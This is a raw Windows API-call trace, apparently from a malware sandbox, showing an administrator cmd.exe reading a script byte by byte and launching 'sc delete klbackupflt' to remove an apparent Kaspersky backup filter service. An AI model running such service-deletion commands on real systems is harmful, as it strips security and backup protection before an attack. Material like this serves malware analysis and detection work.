lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0072.870] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.871] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.871] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0072.871] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.871] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.871] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0072.871] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.871] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.871] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0072.871] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.871] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.871] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0072.871] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.871] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.871] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="lbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0072.871] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.871] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.871] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="backupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0072.871] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.871] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.871] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="ackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0072.872] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.872] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.872] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="ckupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0072.872] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.872] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.872] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="kupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0072.872] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.872] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.872] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="updisk\n64-9.4\"\n\nA\"\n") returned 1 [0072.872] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.872] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.872] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="pdisk\n64-9.4\"\n\nA\"\n") returned 1 [0072.872] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.872] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.872] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="fisk\n64-9.4\"\n\nA\"\n") returned 1 [0072.872] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.872] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.872] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="lsk\n64-9.4\"\n\nA\"\n") returned 1 [0072.872] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.872] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.873] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.873] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="tk\n64-9.4\"\n\nA\"\n") returned 1 [0072.873] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.873] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.873] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.873] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.873] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.873] GetFileType (hFile=0xb8) returned 0x3 [0072.873] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.873] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.873] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.873] GetFileType (hFile=0x120) returned 0x3 [0072.873] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.873] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete klbackupflt\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete klbackupflt\n", lpUsedDefaultChar=0x0) returned 23 [0072.873] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x16, lpOverlapped=0x0) returned 1 [0072.873] GetProcessHeap () returned 0x4a0000 [0072.873] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c8630 [0072.873] GetProcessHeap () returned 0x4a0000 [0072.873] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c8630 | out: hHeap=0x4a0000) returned 1 [0072.873] GetProcessHeap () returned 0x4a0000 [0072.873] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0072.873] GetProcessHeap () returned 0x4a0000 [0072.873] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0072.873] GetProcessHeap () returned 0x4a0000 [0072.873] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x38) returned 0x4b6510 [0072.873] GetConsoleOutputCP () returned 0x1b5 [0072.874] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0072.874] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.874] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.874] GetProcessHeap () returned 0x4a0000 [0072.874] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0072.874] GetProcessHeap () returned 0x4a0000 [0072.874] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x3e) returned 0x4baa40 [0072.874] GetProcessHeap () returned 0x4a0000 [0072.874] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc530 [0072.874] SetErrorMode (uMode=0x0) returned 0x1 [0072.874] SetErrorMode (uMode=0x1) returned 0x0 [0072.874] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc540, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0072.874] SetErrorMode (uMode=0x1) returned 0x1 [0072.874] GetProcessHeap () returned 0x4a0000 [0072.874] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc530, Size=0x62) returned 0x4bc530 [0072.874] GetProcessHeap () returned 0x4a0000 [0072.874] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc530) returned 0x62 [0072.874] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0072.874] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0072.874] GetProcessHeap () returned 0x4a0000 [0072.874] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0072.874] GetProcessHeap () returned 0x4a0000 [0072.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0072.875] GetProcessHeap () returned 0x4a0000 [0072.875] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0072.875] GetProcessHeap () returned 0x4a0000 [0072.875] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0072.875] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0072.875] GetProcessHeap () returned 0x4a0000 [0072.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0072.875] GetProcessHeap () returned 0x4a0000 [0072.875] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0072.875] GetProcessHeap () returned 0x4a0000 [0072.875] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0072.875] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.875] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.875] GetLastError () returned 0x2 [0072.875] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.875] GetLastError () returned 0x2 [0072.875] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.875] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0072.875] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0072.876] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.876] GetLastError () returned 0x2 [0072.876] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0072.876] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0072.876] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.876] GetProcessHeap () returned 0x4a0000 [0072.876] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0072.876] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.876] GetProcessHeap () returned 0x4a0000 [0072.876] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xa4) returned 0x4b9180 [0072.876] GetProcessHeap () returned 0x4a0000 [0072.876] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xa4 [0072.876] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete klbackupflt") returned 1 [0072.877] GetProcessHeap () returned 0x4a0000 [0072.877] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0072.877] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0072.877] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0072.877] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0072.877] GetProcessHeap () returned 0x4a0000 [0072.877] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0072.877] GetProcessHeap () returned 0x4a0000 [0072.877] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0072.877] GetProcessHeap () returned 0x4a0000 [0072.877] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0072.877] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete klbackupflt", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete klbackupflt", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete klbackupflt", lpProcessInformation=0x2cecc0*(hProcess=0x54, hThread=0x50, dwProcessId=0xae0, dwThreadId=0xb80)) returned 1 [0072.880] CloseHandle (hObject=0x50) returned 1 [0072.880] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0072.880] GetProcessHeap () returned 0x4a0000 [0072.880] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0072.880] GetEnvironmentStringsW () returned 0x4bba10* [0072.880] GetProcessHeap () returned 0x4a0000 [0072.880] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0072.880] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0072.880] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0072.880] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd6000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0072.881] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0072.928] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0072.928] CloseHandle (hObject=0x54) returned 1 [0072.928] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0072.928] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0072.928] GetProcessHeap () returned 0x4a0000 [0072.928] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0072.928] GetEnvironmentStringsW () returned 0x4c1b10* [0072.928] GetProcessHeap () returned 0x4a0000 [0072.928] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0072.929] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.929] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0072.929] GetProcessHeap () returned 0x4a0000 [0072.929] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0072.929] GetEnvironmentStringsW () returned 0x4bba10* [0072.929] GetProcessHeap () returned 0x4a0000 [0072.929] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0072.929] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0072.929] GetProcessHeap () returned 0x4a0000 [0072.929] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0072.929] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0072.929] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0072.929] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.929] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0072.929] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.929] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0072.930] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.930] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0072.930] GetConsoleOutputCP () returned 0x1b5 [0072.930] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0072.930] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.930] GetProcessHeap () returned 0x4a0000 [0072.930] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0072.930] GetProcessHeap () returned 0x4a0000 [0072.930] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0072.930] GetProcessHeap () returned 0x4a0000 [0072.930] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0072.930] GetProcessHeap () returned 0x4a0000 [0072.930] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc530 | out: hHeap=0x4a0000) returned 1 [0072.930] GetProcessHeap () returned 0x4a0000 [0072.930] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa40 | out: hHeap=0x4a0000) returned 1 [0072.930] GetProcessHeap () returned 0x4a0000 [0072.930] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0072.930] GetProcessHeap () returned 0x4a0000 [0072.930] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6510 | out: hHeap=0x4a0000) returned 1 [0072.930] GetProcessHeap () returned 0x4a0000 [0072.930] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0072.930] GetProcessHeap () returned 0x4a0000 [0072.930] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0072.930] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0072.930] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.931] GetFileType (hFile=0x120) returned 0x3 [0072.931] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.931] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, 